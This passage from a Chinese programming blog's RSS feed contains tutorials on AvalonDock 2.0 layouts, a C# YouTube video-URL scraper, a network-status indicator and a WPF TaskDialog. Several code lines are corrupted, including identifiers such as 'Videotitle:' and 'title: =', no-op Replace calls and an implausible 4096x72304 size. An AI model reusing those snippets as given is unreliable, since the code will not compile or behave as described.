      <guid>http://blog.leaver.me/2012/09/26/avalondock-2.0%E5%85%A5%E9%97%A8%E6%8C%87%E5%8D%97%E7%AC%AC%E4%B8%80%E9%83%A8%E5%88%86/</guid>
      <description>&lt;p&gt;&lt;a href=&#34;http://avalondock.codeplex.com&#34;&gt;AvalonDock&lt;/a&gt; 2.0可以用来为WPF创建一个类似Visual Studio的界面，深入理解如何使用AvalonDock进行开发是很重要的。&lt;/p&gt;
&lt;p&gt;在这个入门指南里，我将演示如何开始使用AvalonDock，下面的文章都是基于2.0版本的。并且不能用于早期的版本。&lt;/p&gt;
&lt;p&gt;AvalonDock是一个组合的布局模型，很多的控件都在视图上显示，一个DockingManager 类也显示在停靠区，用于可以拖拽文档和工具。&lt;/p&gt;
&lt;p&gt;从下面这个截图中我们可以理解AvalonDock组件&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/27544_o.png&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/38cf4425c7a05bde89671d9f06c99e6626985373.png&#34; title=&#34;ADTutorial&#34;&gt;&lt;/a&gt;
&lt;strong&gt;DockingManager&lt;/strong&gt; 这是AvalonDock中的核心控件，它将包含的窗格排序，处理飞出的窗格，还有浮动的窗口。在上面这个图中，DockingManager 对象包含了所有空间（WPF控件），从顶部的工具栏到底部的状态栏都算。同时。DockingManager 也可以处理保存和恢复布局。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;LayoutPanel&lt;/strong&gt; 这个面板用来管理在一个方向上的子窗口（通过Orientation属性来选择方向），并且在它们之间添加了一个大小调节控件，在一个Orientation属性是Horizontal（水平）的LayoutPanel 上，排列了三个窗格。一个LayoutAnchorablePane在左，一个LayoutDocumentPane在中间。一个LayoutDockablePane在右边。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;LayoutDockablePane&lt;/strong&gt;  这个布局元素包含一个LayoutAnchorable对象的集合。通过它用来管理想TabControl这样的控件，在上面的截图中，LayoutDockablePanes是在左边的&amp;rsquo;Strumenti&amp;rsquo; 和 &amp;lsquo;Progetti&amp;rsquo; (工具和项目)  和在右边的&amp;rsquo;Classi&amp;rsquo; 和 &amp;lsquo;Proprieta&amp;rsquo;&amp;rsquo; (类视图和属性视图)的容器，一个LayoutDockablePane可以自动隐藏，就像&amp;rsquo;Errori&amp;rsquo;(错误)和&amp;rsquo;Lista Azioni&amp;rsquo;(操作列表) and &amp;lsquo;Uscita&amp;rsquo;(输出)。并且LayoutDockablePane可以被拖动到DockingManager上，成为一个浮动窗口或者附着到它的父控件DockingManager的边缘上。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;LayoutDocumentPane&lt;/strong&gt; 通常包含文档（DocumentContent类型）的一种窗格，但是其实也可以包含像上面提到的工具视图和类视图这样的DockableContents。在一个文档里。LayoutDocumentPane 被放置在ResizingPanel（水平方向）里。ResizingPanel则是上卖弄提到的在两个DockablePane中间的区域。注意。文档窗格是不能被移动的。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;LayoutAnchorable&lt;/strong&gt; 一个停靠内容，是软件控件的容器，总是被包含在一个窗格里（LayoutAnchorablePane或是LayoutDocumentPane），在截图里。LayoutAnchorable是一类对象（包含一个SharpDevelop对象），工具对象，但是错误窗口（它处于自动隐藏状态，被好办在一个自动隐藏窗格里）不是。LayoutAnchorable就像它名字所暗示的那样。可以被从他的容器窗格里拖走。然后重新放置在一个存在的窗格里。或者是放置在父DockingManager的边缘，或者是放置在一个浮动窗口里（LayoutAnchorableFloatingWindow）。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;LayoutDocument&lt;/strong&gt; 是一个仅可以被寄宿到LayoutDocumentPane的内容。它是一个特殊的内容，因为不能被停靠到边缘。仅能被放置到LayoutDocumentPane里。或者浮动在一个LayoutDocumentFloatingWindow窗口里。在途中，DocumentContent对象是program.cs&amp;rsquo; 或 &amp;lsquo;MainForm.cs&amp;rsquo; 文件视图&lt;/p&gt;
&lt;p&gt;**LayoutFloatingWindow **，是一个包含内容的窗口，当被拖动到一个DockingManager上面的时候，LayoutFloatingWindow（LayoutAnchorableFloatingWindow和LayoutDocumentFloatingWindow继承自他）集成在Window，总是包含一个窗格（LayoutAnchorablePane或是LayoutDocumentPane），窗格包含更多的内容（LayoutAnchorable或LayoutDocument），当用户对一个内容或是DockablePane执行拖拽，或者直接手工使用代码调用LayoutContent.Float()方法 LayoutFloatingWindow就被直接从DockingManager创建出来了。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;LayoutPane&lt;/strong&gt;  一个基类，LayoutDockablePane和LayoutDocumentPane继承自它。它为他们提供了一些共有的属性和方法。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;LayoutContent&lt;/strong&gt; 是LayoutAnchorable 和LayoutAnchorable类的父类。提供了共有的属性和方法。&lt;/p&gt;
&lt;p&gt;理解布局元素是一些属于布局模型的类而不是属于视图是很重要的。因为，他们不是继承自FrameworkElement类，取而代之。AvalonDock包含了另一些类来展示这些组件的视图。这些类通常被命名为相关联的类名+Control字串。举个例子，在布局里创建的LayoutAnchorable创建了一个LayoutAnchorableControl（继承自FrameworkElement的类），并且绑定了LayoutAnchorableControl.Model 到这个LayoutAnchorable对象上。&lt;/p&gt;
&lt;p&gt;每一个被创建的视图控件总是有着Model属性的布局元素。因此，重新设计一个相关视图控件的样式是可以的。&lt;/p&gt;
&lt;p&gt;为了开始创建一个新的.net 4/.net 4.5的解决方案。并且添加对AvalonDock.dll的引用（可以直接添加也可以使用NuGet），然后添加AD命名空间到MainWindow.xaml中。&lt;/p&gt;
&lt;p&gt;在根Grid下放置DockingManager组件和一个简单的布局。&lt;/p&gt;
&lt;pre class=&#34;lang:xhtml decode:true &#34; &gt;&amp;lt;Window x:Class=&#34;MainWindow&#34;
        xmlns=&#34;http://schemas.microsoft.com/winfx/2006/xaml/presentation&#34;
        xmlns:x=&#34;http://schemas.microsoft.com/winfx/2006/xaml&#34;
        xmlns:avalonDock=&#34;http://avalondock.codeplex.com&#34;
        Title=&#34;MainWindow&#34; Height=&#34;434&#34; Width=&#34;684&#34;&amp;gt;
    &amp;lt;Grid&amp;gt;
        &amp;lt;avalonDock:DockingManager x:Name=&#34;dockingManager&#34;&amp;gt;
            &amp;lt;avalonDock:LayoutRoot&amp;gt;
                &amp;lt;avalonDock:LayoutPanel Orientation=&#34;Horizontal&#34;&amp;gt;
                    &amp;lt;avalonDock:LayoutDocumentPane/&amp;gt;
                    &amp;lt;avalonDock:LayoutAnchorablePane DockWidth=&#34;150&#34;&amp;gt;
                        &amp;lt;avalonDock:LayoutAnchorable Title=&#34;Sample Tool Pane&#34;&amp;gt;
                            &amp;lt;TextBox/&amp;gt;
                        &amp;lt;/avalonDock:LayoutAnchorable&amp;gt;
                    &amp;lt;/avalonDock:LayoutAnchorablePane&amp;gt;
                &amp;lt;/avalonDock:LayoutPanel&amp;gt;
                &amp;lt;avalonDock:LayoutRoot.LeftSide&amp;gt;
                    &amp;lt;avalonDock:LayoutAnchorSide&amp;gt;
                        &amp;lt;avalonDock:LayoutAnchorGroup&amp;gt;
                            &amp;lt;avalonDock:LayoutAnchorable Title=&#34;Autohidden Content&#34;&amp;gt;
                                &amp;lt;TextBox/&amp;gt;
                            &amp;lt;/avalonDock:LayoutAnchorable&amp;gt;
                        &amp;lt;/avalonDock:LayoutAnchorGroup&amp;gt;
                    &amp;lt;/avalonDock:LayoutAnchorSide&amp;gt;
                &amp;lt;/avalonDock:LayoutRoot.LeftSide&amp;gt;
            &amp;lt;/avalonDock:LayoutRoot&amp;gt;
        &amp;lt;/avalonDock:DockingManager&amp;gt;
    &amp;lt;/Grid&amp;gt;
&amp;lt;/Window&amp;gt;
&lt;/pre&gt; 
&lt;p&gt;DockingManager是AvalonDock的核心类，他的责任就是创建管理布局。布局被定义成一个ILayoutElement的树。树的根由LayoutRoot类指定。LayoutRoot由一些基本的子树来构成。。&lt;/p&gt;
&lt;p&gt;1.根面板的 根属性指向主 LayoutPanel，也是LayoutRoot的内容属性。&lt;/p&gt;
&lt;p&gt;2.大体上讲，RightSide/LeftSide/TopSide/BottonSide是LayoutAnchorGroup对象的集合属性，他们表示了停靠管理器的四个边。停靠管理器的锚通常是隐藏的。当用户移动鼠标到这些区域的时候。就会在自动隐藏的窗口里显示出来。&lt;/p&gt;
&lt;p&gt;3.FloatingWindows属性是FloatingWindow的集合。一个浮动窗口当用户拖动一个窗格（LayoutAnchorable或是LayoutDocument）的时候就被创建出来，这个集合可以被AvalonDock自动更新，但是用户依然可以通过调用LayoutContent的Float()方法来创建一个浮动窗口。&lt;/p&gt;
&lt;p&gt;Hidden是一个Anchorable（停靠）对象的集合。默认情况下，当用户点击一个LayoutAnchorable对象的关闭按钮，AvalonDock隐藏它：通过从布局里移除停靠元素，并且把他放入Hidden集合，当用户想要再一次显示的时候，AD又把这个内容从隐藏集合里删除重新显示在他被隐藏的那个窗格里。&lt;/p&gt;
&lt;p&gt;当使用布局树的时候，程序员可以创建任何复杂的界面，LayoutAnchorablePane的DockWidth和DockHeight属性可以被用来设置窗格的初始宽度和高度。而LayoutDocumentPane类通常则填满可用的空间。AvalonDock管理内容元素的宽度和高度以使得可以使用所有的可用空间。因此如果一个LayoutAnchorablePane被放置在一个LayoutPanel里，为LayoutAnchorablePane使用一个固定尺寸而为LayoutDocumentPane使用一个比例长度。也就是说为停靠对象使用了比例长度。&lt;/p&gt;
&lt;p&gt;一个LayoutDocumentGroup/ LayoutAnchorableGroup类可以被用来包含更多的LayoutDocumentPane/ LayoutAnchorablePane，举个例子，让我们来改变上面的例子来实现更复杂的例子。&lt;/p&gt;
&lt;pre class=&#34;lang:xhtml decode:true &#34; &gt;&amp;lt;Window x:Class=&#34;AvalonDock2Tutorial.MainWindow&#34;
        xmlns=&#34;http://schemas.microsoft.com/winfx/2006/xaml/presentation&#34;
        xmlns:x=&#34;http://schemas.microsoft.com/winfx/2006/xaml&#34;
        xmlns:avalonDock=&#34;http://avalondock.codeplex.com&#34;
        Title=&#34;MainWindow&#34; Height=&#34;350&#34; Width=&#34;525&#34;&amp;gt;
    &amp;lt;Grid&amp;gt;
        &amp;lt;avalonDock:DockingManager x:Name=&#34;dockingManager&#34;&amp;gt;
            &amp;lt;avalonDock:LayoutRoot&amp;gt;
                &amp;lt;avalonDock:LayoutPanel Orientation=&#34;Horizontal&#34;&amp;gt;
                    &amp;lt;avalonDock:LayoutDocumentPaneGroup&amp;gt;
                        &amp;lt;avalonDock:LayoutDocumentPane&amp;gt;
                            &amp;lt;avalonDock:LayoutDocument Title=&#34;Doc1&#34;&amp;gt;
                                &amp;lt;TextBox/&amp;gt;
                            &amp;lt;/avalonDock:LayoutDocument&amp;gt;
                            &amp;lt;avalonDock:LayoutDocument Title=&#34;Doc2&#34;&amp;gt;
                                &amp;lt;TextBox/&amp;gt;
                            &amp;lt;/avalonDock:LayoutDocument&amp;gt;
                        &amp;lt;/avalonDock:LayoutDocumentPane&amp;gt;
                        &amp;lt;avalonDock:LayoutDocumentPane&amp;gt;
                            &amp;lt;avalonDock:LayoutDocument Title=&#34;Doc3&#34;&amp;gt;
                                &amp;lt;TextBox/&amp;gt;
                            &amp;lt;/avalonDock:LayoutDocument&amp;gt;
                        &amp;lt;/avalonDock:LayoutDocumentPane&amp;gt;                        
                    &amp;lt;/avalonDock:LayoutDocumentPaneGroup&amp;gt;
                    &amp;lt;avalonDock:LayoutAnchorablePaneGroup DockWidth=&#34;150&#34; Orientation=&#34;Vertical&#34;&amp;gt;
                        &amp;lt;avalonDock:LayoutAnchorablePane&amp;gt;
                            &amp;lt;avalonDock:LayoutAnchorable Title=&#34;Tool 1&#34;&amp;gt;
                                &amp;lt;TextBox/&amp;gt;
                            &amp;lt;/avalonDock:LayoutAnchorable&amp;gt;
                            &amp;lt;avalonDock:LayoutAnchorable Title=&#34;Tool 2&#34;&amp;gt;
                                &amp;lt;TextBox/&amp;gt;
                            &amp;lt;/avalonDock:LayoutAnchorable&amp;gt;
                        &amp;lt;/avalonDock:LayoutAnchorablePane&amp;gt;
                        &amp;lt;avalonDock:LayoutAnchorablePane&amp;gt;
                            &amp;lt;avalonDock:LayoutAnchorable Title=&#34;Tool 3&#34;&amp;gt;
                                &amp;lt;TextBox/&amp;gt;
                            &amp;lt;/avalonDock:LayoutAnchorable&amp;gt;
                            &amp;lt;avalonDock:LayoutAnchorable Title=&#34;Tool 4&#34;&amp;gt;
                                &amp;lt;TextBox/&amp;gt;
                            &amp;lt;/avalonDock:LayoutAnchorable&amp;gt;
                        &amp;lt;/avalonDock:LayoutAnchorablePane&amp;gt;
                    &amp;lt;/avalonDock:LayoutAnchorablePaneGroup&amp;gt;
                &amp;lt;/avalonDock:LayoutPanel&amp;gt;
                &amp;lt;avalonDock:LayoutRoot.LeftSide&amp;gt;
                    &amp;lt;avalonDock:LayoutAnchorSide&amp;gt;
                        &amp;lt;avalonDock:LayoutAnchorGroup&amp;gt;
                            &amp;lt;avalonDock:LayoutAnchorable Title=&#34;Autohidden Content&#34;&amp;gt;
                                &amp;lt;TextBox/&amp;gt;
                            &amp;lt;/avalonDock:LayoutAnchorable&amp;gt;
                        &amp;lt;/avalonDock:LayoutAnchorGroup&amp;gt;
                    &amp;lt;/avalonDock:LayoutAnchorSide&amp;gt;
                &amp;lt;/avalonDock:LayoutRoot.LeftSide&amp;gt;
            &amp;lt;/avalonDock:LayoutRoot&amp;gt;
        &amp;lt;/avalonDock:DockingManager&amp;gt;

    &amp;lt;/Grid&amp;gt;
&amp;lt;/Window&amp;gt;&lt;/pre&gt; 
&lt;p&gt;运行这个工程你就可以重新排列内容了。移动他们到浮动窗口。为了更加熟悉AvalonDock，我建议你多试几次，然后重新排列内容实现更复杂的布局。&lt;/p&gt;</description>
    </item>
    <item>
      <title>C#编写youtube下载器</title>
      <link>http://blog.leaver.me/2012/09/25/c%23%E7%BC%96%E5%86%99youtube%E4%B8%8B%E8%BD%BD%E5%99%A8/</link>
      <pubDate>Tue, 25 Sep 2012 09:33:12 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/09/25/c%23%E7%BC%96%E5%86%99youtube%E4%B8%8B%E8%BD%BD%E5%99%A8/</guid>
      <description>&lt;h3 id=&#34;介绍&#34;&gt;介绍&lt;/h3&gt;
&lt;p&gt;本文将会暂时如何仅仅使用C#来下载youtub视频，代码简单也容易理解，每个人都可以把它整合到自己的工程项目里。&lt;/p&gt;
&lt;p&gt;我没有使用任何第三方的库来完成这段代码，你所要做的仅仅是把两个.cs文件整合进你的项目里。&lt;/p&gt;
&lt;h3 id=&#34;使用代码&#34;&gt;使用代码&lt;/h3&gt;
&lt;p&gt;这个工程里有两个主要的类&lt;/p&gt;
&lt;p&gt;YouTubeVideoQuality Class（youtube视频质量类）&lt;/p&gt;
&lt;pre class=&#34;lang:c# decode:true &#34; &gt;public class YouTubeVideoQuality 
{
    /// &amp;lt;summary&amp;gt;
    /// Gets or Sets 文件名
    /// &amp;lt;/summary&amp;gt;
    public string Videotitle: { get; set; }
    /// &amp;lt;summary&amp;gt;
    /// Gets or Sets 文件扩展
    /// &amp;lt;/summary&amp;gt;
    public string Extention { get; set; }
    /// &amp;lt;summary&amp;gt;
    /// Gets or Sets 文件地址
    /// &amp;lt;/summary&amp;gt;
    public string DownloadUrl { get; set; }
    /// &amp;lt;summary&amp;gt;
    /// Gets or Sets 视频地址
    /// &amp;lt;/summary&amp;gt;
    public string VideoUrl { get; set; }
    /// &amp;lt;summary&amp;gt;
    /// Gets or Sets 文件大小
    /// &amp;lt;/summary&amp;gt;
    public Size Dimension { get; set; }

    public override string ToString()
    {
        return Extention + &#34; File &#34; + Dimension.Width + 
                           &#34;x&#34; + Dimension.Height;
    }

    public void SetQuality(string Extention, Size Dimension)
    {
        this.Extention = Extention;
        this.Dimension = Dimension;
    }
}&lt;/pre&gt; 
&lt;p&gt;YouTubeDownloader Class(youtube下载类)&lt;/p&gt;
&lt;pre class=&#34;lang:c# decode:true &#34; &gt;public class YouTubeDownloader
{
    public static List&amp;lt;YouTubeVideoQuality&amp;gt; GetYouTubeVideoUrls(params string[] VideoUrls)
    {
        List&amp;lt;YouTubeVideoQuality&amp;gt; urls = new List&amp;lt;YouTubeVideoQuality&amp;gt;();
        foreach (var VideoUrl in VideoUrls)
        {
            string html = Helper.DownloadWebPage(VideoUrl);
            string title: = GetTitle(html);
            foreach (var videoLink in ExtractUrls(html))
            {
                YouTubeVideoQuality q = new YouTubeVideoQuality();
                q.VideoUrl = VideoUrl;
                q.Videotitle: = title;
                q.DownloadUrl = videoLink + &#34;&amp;amp;title=&#34; + title;
                if (getQuality(q))
                    urls.Add(q);
            }
        }
        return urls;
    }

    private static string GetTitle(string RssDoc)
    {
        string str14 = Helper.GetTxtBtwn(RssDoc, &#34;&#39;VIDEO_TITLE&#39;: &#39;&#34;, &#34;&#39;&#34;, 0);
        if (str14 == &#34;&#34;) str14 = Helper.GetTxtBtwn(RssDoc, &#34;\&#34;title\&#34; content=\&#34;&#34;, &#34;\&#34;&#34;, 0);
        if (str14 == &#34;&#34;) str14 = Helper.GetTxtBtwn(RssDoc, &#34;&amp;amp;title=&#34;, &#34;&amp;amp;&#34;, 0);
        str14 = str14.Replace(@&#34;\&#34;, &#34;&#34;).Replace(&#34;&#39;&#34;, &#34;&#39;&#34;).Replace(
                &#34;\&#34;&#34;, &#34;&#34;&#34;).Replace(&#34;&amp;lt;&#34;, &#34;&amp;lt;&#34;).Replace(
                &#34;&amp;gt;&#34;, &#34;&amp;gt;&#34;).Replace(&#34;+&#34;, &#34; &#34;);
        return str14;
    }

    private static List&amp;lt;string&amp;gt; ExtractUrls(string html)
    {
        html = Uri.UnescapeDataString(Regex.Match(html, &#34;url_encoded_fmt_stream_map=(.+?)&amp;amp;&#34;, 
                                      RegexOptions.Singleline).Groups[1].ToString());
        MatchCollection matchs = Regex.Matches(html, 
          &#34;url=(.+?)&amp;amp;quality=(.+?)&amp;amp;fallback_host=(.+?)&amp;amp;type=(.+?)&amp;amp;itag=(.+?),&#34;, 
          RegexOptions.Singleline);
        bool firstTry = matchs.Count &amp;gt; 0;
        if (!firstTry)
            matchs = Regex.Matches(html, 
                     &#34;itag=(.+?)&amp;amp;url=(.+?)&amp;amp;type=(.+?)&amp;amp;fallback_host=(.+?)&amp;amp;sig=(.+?)&amp;amp;quality=(.+?),{0,1}&#34;, 
                     RegexOptions.Singleline);
        List&amp;lt;string&amp;gt; urls = new List&amp;lt;string&amp;gt;();
        foreach (Match match in matchs)
        {
            if (firstTry)
                urls.Add(Uri.UnescapeDataString(match.Groups[1] + &#34;&#34;));
            else urls.Add(Uri.UnescapeDataString(match.Groups[2] + &#34;&#34;) + &#34;&amp;amp;signature=&#34; + match.Groups[5]);
        }
        return urls;
    }

    private static bool getQuality(YouTubeVideoQuality q)
    {
        if (q.DownloadUrl.Contains(&#34;itag=5&#34;))
            q.SetQuality(&#34;flv&#34;, new Size(320, 240));
        else if (q.DownloadUrl.Contains(&#34;itag=34&#34;))
            q.SetQuality(&#34;flv&#34;, new Size(400, 226));
        else if (q.DownloadUrl.Contains(&#34;itag=6&#34;))
            q.SetQuality(&#34;flv&#34;, new Size(480, 360));
        else if (q.DownloadUrl.Contains(&#34;itag=35&#34;))
            q.SetQuality(&#34;flv&#34;, new Size(640, 380));
        else if (q.DownloadUrl.Contains(&#34;itag=18&#34;))
            q.SetQuality(&#34;mp4&#34;, new Size(480, 360));
        else if (q.DownloadUrl.Contains(&#34;itag=22&#34;))
            q.SetQuality(&#34;mp4&#34;, new Size(1280, 720));
        else if (q.DownloadUrl.Contains(&#34;itag=37&#34;))
            q.SetQuality(&#34;mp4&#34;, new Size(1920, 1280));
        else if (q.DownloadUrl.Contains(&#34;itag=38&#34;))
            q.SetQuality(&#34;mp4&#34;, new Size(4096, 72304));
        else return false;
        return true;
    }
}&lt;/pre&gt; 
&lt;h3 id=&#34;有趣的地方&#34;&gt;有趣的地方&lt;/h3&gt;
&lt;p&gt;使用这个代码，你可以根据你的网速来选择不同品质的视频来下载&lt;/p&gt;</description>
    </item>
    <item>
      <title>.net显示网络连接状态图标</title>
      <link>http://blog.leaver.me/2012/09/24/.net%E6%98%BE%E7%A4%BA%E7%BD%91%E7%BB%9C%E8%BF%9E%E6%8E%A5%E7%8A%B6%E6%80%81%E5%9B%BE%E6%A0%87/</link>
      <pubDate>Mon, 24 Sep 2012 08:04:02 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/09/24/.net%E6%98%BE%E7%A4%BA%E7%BD%91%E7%BB%9C%E8%BF%9E%E6%8E%A5%E7%8A%B6%E6%80%81%E5%9B%BE%E6%A0%87/</guid>
      <description>&lt;p&gt;效果图：
&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/27419_o.jpg&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/&#34; title=&#34;internet connection&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;h3 id=&#34;介绍&#34;&gt;介绍&lt;/h3&gt;
&lt;p&gt;　　越来越多的软件要通过连接互联网来执行一些业务层的业务操作，比如调用web services服务，获取数据等等。
通常你可能希望知道当前你的网络连接是不是真的连上了，当然有很多种方法可以做到，比如，你可以查看System.Net 命名空间中的NetworkInterface 的状态，但是有这以太网连接并不表示你的连接真的可以用。 本文将会展示一种方法，该方法在程序的状态栏StatusStrip 显示一个简单的图标来指示是不是真的连接到了互联网。&lt;/p&gt;
&lt;h3 id=&#34;使用代码&#34;&gt;使用代码&lt;/h3&gt;
&lt;p&gt;　　最简单的我们会想到使用一个Timer来进行http-get请求来判断一个特定的网页是否可用。&lt;/p&gt;
&lt;p&gt;　　当然这种方法下，我们最应该考虑的就是请求不能阻塞UI线程，因此，我将使用一个BackgroundWorker 对象来进行get请求，BackgroundWorker 对象声明了DoWork方法。该方法定义了一个事件句柄，该句柄传递一个DoWorkEventArgs 类来将事件的处理结果返回到UI线程，因此，你不必与任何的UI元素进行交互，因为它运行在一个独立的线程里。&lt;/p&gt;
&lt;pre class=&#34;lang:c# decode:true &#34; &gt;private void InitializeComponent()
{
    // Background Worker
    this._worker = new BackgroundWorker();
    this._worker.WorkerReportsProgress = false;
    this._worker.WorkerSupportsCancellation = false;
    this._worker.DoWork += new 
       DoWorkEventHandler(this.BackgroundWorker_DoWork);
    this._worker.RunWorkerCompleted += new 
       RunWorkerCompletedEventHandler(this.BackgroundWorker_RunWorkerCompleted);

    // Timer
    this._updateTimer = new Timer();
    this._updateTimer.Enabled = !this.DesignMode;
    // Enabled when not in design mode

    this._updateTimer.Tick += delegate { this.OnTick(); };
}

private void OnTick()
{
    if (this.DesignMode)
        return;

    // Stop the timer while the process is running
    this._updateTimer.Enabled = false;

    // Disable so we get the grayed-out look
    this.Enabled = false;
    this.Invalidate();

    // Execute the Ping Query on a separate thread...
    this._worker.RunWorkerAsync();
}&lt;/pre&gt; 
&lt;p&gt;　　这个查询很简单，我执行简单的HttpWebRequest 来请求一个必然是可用的网页。比如微软的主页或是Google的主页。通过这样，我们就能知道是不是真的连接上了互联网。&lt;/p&gt;
&lt;pre class=&#34;lang:c# decode:true &#34; &gt;private void BackgroundWorker_DoWork(object sender, DoWorkEventArgs e)
{
    try
    {
        // Create an HTTP Web request
        // to an Uri that&#39;s always available.
        HttpWebRequest request = (HttpWebRequest) 
           HttpWebRequest.Create(this._alwaysAvailableUrl);

        // Perform GET
        HttpWebResponse response = 
           (HttpWebResponse) request.GetResponse();
        if (HttpStatusCode.OK == response.StatusCode)
        {
            // HTTP = 200, close the request and return true
            response.Close();
            e.Result = true;
        }
        else
        {
            // Other status; return false
            e.Result = false;
        }
    }
    catch (WebException)
    {
        // Deffinitely offline
        e.Result = false;
    }
}&lt;/pre&gt; 
&lt;p&gt;　　当BackgroundWorker 对象完成了他的工作，，也就是定义DoWork 里的事件，他会触发RunWorkerCompleted 事件，这个事件也定义了一个定制的事件句柄- RunWorkerCompletedEventArgs 有了这个类，我们就可以管理ToolStripStatusLabel的显示了&lt;/p&gt;</description>
    </item>
    <item>
      <title>一个可定制的WPF任务对话框</title>
      <link>http://blog.leaver.me/2012/09/24/%E4%B8%80%E4%B8%AA%E5%8F%AF%E5%AE%9A%E5%88%B6%E7%9A%84wpf%E4%BB%BB%E5%8A%A1%E5%AF%B9%E8%AF%9D%E6%A1%86/</link>
      <pubDate>Mon, 24 Sep 2012 08:03:17 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/09/24/%E4%B8%80%E4%B8%AA%E5%8F%AF%E5%AE%9A%E5%88%B6%E7%9A%84wpf%E4%BB%BB%E5%8A%A1%E5%AF%B9%E8%AF%9D%E6%A1%86/</guid>
      <description>&lt;p&gt;今天实在看WPF揭秘的时候看到TaskDialog这个控件的。然后就去找了一下开源的代码。在codeproject上发现了这个，非常给力。。另外codeproject改版后很漂亮哦。
&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/27400_o.jpg&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/ea5f46934b5478701eb79bb9b9b08381704b7996.jpg&#34; title=&#34;one&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;h3 id=&#34;介绍&#34;&gt;介绍：&lt;/h3&gt;
&lt;p&gt;这是用WPF实现Vista上TaskDialog效果的代码。&lt;/p&gt;
&lt;h3 id=&#34;messagbox消息框&#34;&gt;Messagbox消息框&lt;/h3&gt;
&lt;p&gt;通过调用重写的静态Show方法。TaskDialog就会表现的像一个Messagebox。他有四个文本类型的属性：Header（头部）, Content（内容）, Detail（更多）, 和 Footer（底部），其实Detail是一个折叠的区域， 而Header和Footer还有一个icon属性（HeaderIcon和FooterIcon），除此之外，Header还有Background（背景）和Foreground（前景）属性&lt;/p&gt;
&lt;pre class=&#34;lang:c# decode:true &#34; &gt;// TaskDialog.Show方法签名
public static TaskDialogResult Show(
    string title, 
    string header, 
    string content, 
    string detail, 
    string footer, 
    TaskDialogButton button, 
    TaskDialogResult defaultResult, 
    TaskDialogIcon headerIcon, 
    TaskDialogIcon footerIcon, 
    Brush headerBackground, 
    Brush headerForeground)

// TaskDialog.Show 方法的一个例子
TaskDialog.Show(&#34;Task Dialog 测试&#34;,
     &#34;消息框的标题文字&#34;,
     &#34;消息框的内容部分. &#34; +
     &#34; 可以自适应内容.&#34;,
     &#34;消息框的细节部分 &#34; +
     &#34;可以自适应内容&#34;,
     &#34;消息框的底部.&#34;,
     TaskDialogButton.Ok,
     TaskDialogResult.None,
     TaskDialogIcon.Information,
     TaskDialogIcon.Shield,
     Brushes.White,
     Brushes.Navy);&lt;/pre&gt; 
&lt;h3 id=&#34;定制taskdialog&#34;&gt;定制TaskDialog&lt;/h3&gt;
&lt;p&gt;使用静态的Show方法。Header, Content, Detail, 和Footer 就限制了只能传递字符串作为值了。
为了定义这个对话框，你先创建TaskDialog类的一个对象，然后分别设置一下各个属性，最后调用Show方法就可以了&lt;/p&gt;
&lt;pre class=&#34;lang:c# decode:true &#34; &gt;// TaskDialog 实例化例子
TaskDialog dialog = new TaskDialog();
dialog.title: = &#34;TaskDialog example&#34;;
dialog.HeaderIcon = TaskDialogIcon.Warning;
dialog.SystemSound = TaskDialogSound.Exclamation;
// header 属性设置
dialog.Header = &#34;This is the Header.&#34;;
dialog.HeaderBackground = Brushes.DarkGray;
dialog.HeaderForeground = Brushes.White;
// Content, Detail 和 Footer属性设置
dialog.Content = &#34;This is the content&#34;;
dialog.Detail = &#34;This is the detail&#34;;
dialog.Footer = &#34;this is the Footer&#34;;
dialog.Show();&lt;/pre&gt; 
&lt;p&gt;TaskDialog控件派生自HeaderedContentControl类，因为从HeaderedContentControl类可以获得Header和Content属性，TaskDialog仅仅是添加了Detail和Footer属性，这些属性是Object类型，并且有他们自己的template（模板）属性HeaderTemplate, ContentTemplate, DetailTemplate, 和 FooterTemplate)，TaskDialog类对于文本内容有着缺省的数据模板，当然你也可以用那四个模板来替换，这样你就可以以你喜欢的任何方式来格式化文本了。下面这个图展示了通过斜体和下划线来格式化文本。&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/27401_o.jpg&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/05a7c6d00f37749a2b770d0b1f1ebaab51528de0.jpg&#34; title=&#34;two&#34;&gt;&lt;/a&gt;
图2&lt;/p&gt;
&lt;pre class=&#34;lang:c# decode:true &#34; &gt;//为上面这个图的content属性的 DataTemplate 模板 
&amp;lt;DataTemplate x:Key=&#34;_customContentDataTemplate&#34;&amp;gt;
   &amp;lt;TextBlock Text=&#34;{Binding Content, 
        RelativeSource={RelativeSource FindAncestor, 
                        AncestorType={x:Type Controls:TaskDialog}}}&#34; 
        FontStyle=&#34;Italic&#34; 
        TextDecorations=&#34;Underline&#34; 
        TextWrapping=&#34;Wrap&#34;/&amp;gt;
&amp;lt;/DataTemplate&amp;gt;&lt;/pre&gt; 
&lt;p&gt;因为Header，Content，Detail和Footer是object类型，因此不再受到只能是文本的限制了，你可以防止你喜欢的任何类型到TaskDialog，下面这个例子中的TaskDialog是不是很像UAC的提示呢。这里Content属性是一个UserControl类型，放置了一个图片和一些文本还有两个CommandButtons（都是普通的按钮。。不过添加了一些定制的样式，再加了Header属性）&lt;/p&gt;</description>
    </item>
    <item>
      <title>C&#43;&#43; 独立引用，为什么？</title>
      <link>http://blog.leaver.me/2012/05/23/c-%E7%8B%AC%E7%AB%8B%E5%BC%95%E7%94%A8%E4%B8%BA%E4%BB%80%E4%B9%88/</link>
      <pubDate>Wed, 23 May 2012 07:25:04 +0000</pubDate>
